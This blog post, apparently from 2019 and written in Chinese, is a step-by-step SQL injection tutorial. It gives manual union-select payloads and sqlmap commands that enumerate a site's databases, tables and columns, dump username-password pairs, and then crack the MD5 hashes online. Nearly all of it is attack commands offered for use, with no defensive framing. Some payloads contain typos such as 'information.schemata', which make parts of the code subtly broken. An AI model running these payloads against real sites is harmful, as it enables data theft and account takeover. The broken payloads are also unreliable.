SQL注入的两种方法

方法一:手工注入

  1. 判断是否存在注入点

    在链接后面加单引号 `’`,页面返回不正常,则可能存在SQL注入。
    
  2. 猜有几个段

    加上 `order by N+1,当页面返回错误,则可以判断出存在N个段。
    
  3. 确定注入位置

    链接后面加上 `and 1=2 union select 1,2,3……,N`,确定页面爆出的位置,例如 `N=4 位置3处`;
    
  4. 爆出数据库名

    链接后面加上 `and 1=2 union select 1,2,group_concat(schema_name),4 from information.schemata`
    
    例如爆出数据库有:`infomation_schema,Group_name,others`
    
  5. 爆出数据库Group_name的数据表

    链接后面加上 `and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='Group_name'`
    
    例如爆出有两个数据表,分别为 `members,others`
    
  6. 爆出数据表的列项

    链接后面加上 `and 1=2 union select 1,2,group_concat(column_name,'-',colunmn_type),4 from information_schema.columns where table_schema='Group_name' and table_name='members'`
    
    例如爆出两个列及类型:`name-varchar(20),password-varchar(255)`
    
  7. 爆出用户名和密码

    链接后面加上 `and 1=2 union select 1,2,group_concat(name,'-',password),4 from Group_name.members`
    
  8. MD5解密

    爆出的密码是加密过的,MD5在线解密网址`https://pmd5.com`
    

方法二:sqlmap工具

    • 运行系统:kali
    1. -u 后跟存在注入点的网址

      sqlmap -u "https://target.com/index.php?id=2"
      
      • 注意:
        如果是base64编码,则每条命令都需要引入模块 base64encode.py
      • 例如:

        sqlmap -u "https://target.com/index.php?id=2" --tamper "base64encode.py"

    1. --dbs 爆出数据库

         sqlmap -u "https://target.com/index.php?id=2" --dbs
      

      例如爆出数据库有:infomation_schema,Group_name,others

    2. --tables 爆出相应数据库表项

         sqlmap -u "https://target.com/index.php?id=2" -D Group_name --tables
      

      例如爆出有两个数据表,分别为 members,others

    3. --columns 爆出数据表的列项

         sqlmap -u "https://target.com/index.php?id=2" -D Group_name -T members --columns

      例如爆出两个列及类型:name-varchar(20),password-varchar(255)

    4. 爆出用户名和密码

         sqlmap -u "https://target.com/index.php?id=2" -D Group_name -T members --dump
      
    5. MD5解密

      爆出的密码是加密过的,MD5在线解密网址https://pmd5.com

    2019.02.23 12:33

    添加新评论

    ๑òωó๑